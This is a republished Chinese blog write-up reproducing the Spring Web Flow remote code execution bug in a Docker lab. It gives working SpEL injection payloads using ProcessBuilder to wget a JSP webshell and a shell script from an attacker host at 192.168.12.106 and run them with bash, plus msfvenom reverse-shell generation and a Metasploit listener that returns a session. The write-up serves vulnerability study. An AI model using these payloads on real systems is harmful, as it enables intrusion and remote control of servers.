天天看點

猥瑣思路複現Spring WebFlow遠端代碼執行

本文講的是<b>猥瑣思路複現Spring WebFlow遠端代碼執行</b>,說明:做安全的,思路不猥瑣是日不下站的,必須變的猥瑣起來,各種思路就會在你腦海中迸發。

1.不溫不火的漏洞

這個漏洞在六月份的時候就被送出了,但是官方也沒有消息,是以圈子裡沒有人關注也就屬于正常現象了。漏洞分析也在三天前發了出來,但是同樣不溫不火。我也是今天才知道。是以在沒有事情的時候測試了一波,配合各種猥瑣思路,成功拿到一個反彈的會話。

2.漏洞發現及産生原因

Spring WebFlow在Model的資料綁定上面,由于沒有明确指定相關model的具體屬性導緻從表單可以送出惡意的表達式進而被執行,導緻任意代碼執行的漏洞。但是複現的環境比較苛刻。除了版本的限制之外還有兩個前置條件,這兩個前置條件中有一個是預設配置,另外一個就是編碼規範了,漏洞能不能利用成功主要就取決于後面的條件。

删删寫寫,真的不知道要怎麼描述,附上這個漏洞分析的連結:分析連結

看完文章反正我是覺得作者好牛的,直接從人家官方釋出的更新檔中分析出漏洞。我等小菜隻負責學習審計思路,複現就好。

3.環境的搭建

docker環境下載下傳位址:點選這裡

别問我為什麼不自己配環境。。講一句心裡話,我真的感覺做J2EE開發的程式員真心牛,他們配個環境分分鐘的事情,還不會報錯。今天本來打算自己配置這個spring環境的,結果,配置哭了,一天都沒搞好。。還是python好,環境那麼好配置。需要什麼下什麼,重點是一般都不會報什麼錯誤。

沒說JAVA不牛,大型項目還得他。zap還是用java寫的囊,多牛。單純環境難配置而已啦,果斷選擇别人做好的Docker

克隆完成後,執行兩條指令

完成之後通路http://ip:30082端口就一切ok了

猥瑣思路複現Spring WebFlow遠端代碼執行

按理來說通路到這個頁面就可以執行漏洞操作了,但是為了友善後續的操作,可以進入docker環境的終端

docker ps –檢視目前運作的docker程序

docker exec -it [id号] /bin/bash

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

之後登陸操作吧

通路:http://ip:30082/hotels/3

ps: 标記的訂單号要寫16位

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

之後設定好代理,進行抓包。

點選Confirm,在抓到的包之後添加

Go

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

傳回Error不管,直接來到docker下的tmp目錄看結果

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

成功生成一個success檔案.

4.猥瑣思路開始閃現

思路–1

預設是 沒有python的,友善我的猥瑣思路當然要裝一個~

檔案建立成功了,還能指令執行,那還說啥子嘛~?直接上python反彈payload去執行

用msfvenom生成反彈的payload

擷取反彈需要執行的代碼

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

但是這個時候注意到一個東西<code>""</code>,雙引号這個東西,如果放到包中去會被閉合,那樣的代碼肯定沒辦法執行啊。不得行,不得不換下一個思路。

正在想怎麼辦,測試了一個别的指令,之後發現,指令之間不能加空格。。。如下

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

并沒有執行成功。

思路–2

Spring架構,那肯定跟jsp挂鈎,直接wget一個jsp馬,因為wget指令預設是目前檔案夾下,因為上面的得出的結論,并不能添加空格,指定路徑,(就算能指定路徑,也不知道絕對路徑在哪裡啊- -!),但是總得嘗試的,測一下試試吧。

同樣使用msfvenom

把馬移動到/var/www/html目錄下,保證可以遠端下載下傳

抓包,改包

&amp;_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.jsp")).start()=iswin

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

不知道上傳到了哪裡,執行以下find指令,發現并不在網站根目錄下。而是在tomcat目錄下

怎麼辦?mv過去?首先,你不知道網站絕對路徑,其次指令中不能加空格啊。好氣啊,眼看到手的shell又飛了。不得不繼續想辦法。

猥瑣思路–最終大招

方法肯定不止這一種,沒有上面的兩種思路,也不會有最後這種騷套路。你想到沒?

實作方法:wget+python反彈shell

相信有經驗童鞋已經有思路了。肯定很多人還蒙着囊,不是python 雙引号被閉合了嗎,還要怎麼執行???

還不能有空格,怎麼玩???别急嘛。

wget可以執行,并且預設都是在一個目錄下的,沒錯python是不能執行,但是shell腳本可以執行啊。

把剛剛生成的python腳本寫到一個shell腳本裡,下載下傳下來直接執行,一切不就ok了,每空格吧~,雙引号?跟我有關系麼,哈哈~思路有了,測試.

msfvenom生成反彈的payload

打開Metasploit設定監聽

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

送出吧

&amp;_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.sh")).start()=iswin

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

執行shell腳本

&amp;_(new+java.lang.ProcessBuilder("/bin/bash","shell.sh")).start()=iswin

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

成功傳回會話

猥瑣思路複現Spring WebFlow遠端代碼執行
猥瑣思路複現Spring WebFlow遠端代碼執行

docker沒有ifconfig指令的=

如果想擷取Meterpreter回話,你覺得還會遠麼?自己YY

5.總結一下

之前還想寫個檢測腳本研究一下了,但是寫着寫着好像突然感覺到,這個漏洞沒有像struts那個漏洞一樣掀起浪潮是有原因的。他并不能像strtus這個漏洞那樣直接可以測試的出,隻有白盒才能測出問題所在,知道哪裡使用了addEmptyValueMapping這個函數。并不能直接黑盒測試,或許也可以,将所有送出的資料包都加入payload檢測,那相當于掃描全站了。或許在拿到授權的測試下,還是可以試一下的,但是我們這種複現漏洞的,還是别拿人家網站亂掃了。。

原文釋出時間為:2017年6月15日

本文作者:smileTT

本文來自雲栖社群合作夥伴嘶吼,了解相關資訊可以關注嘶吼網站。

<a href="http://www.4hou.com/technology/5449.html" target="_blank">原文連結</a>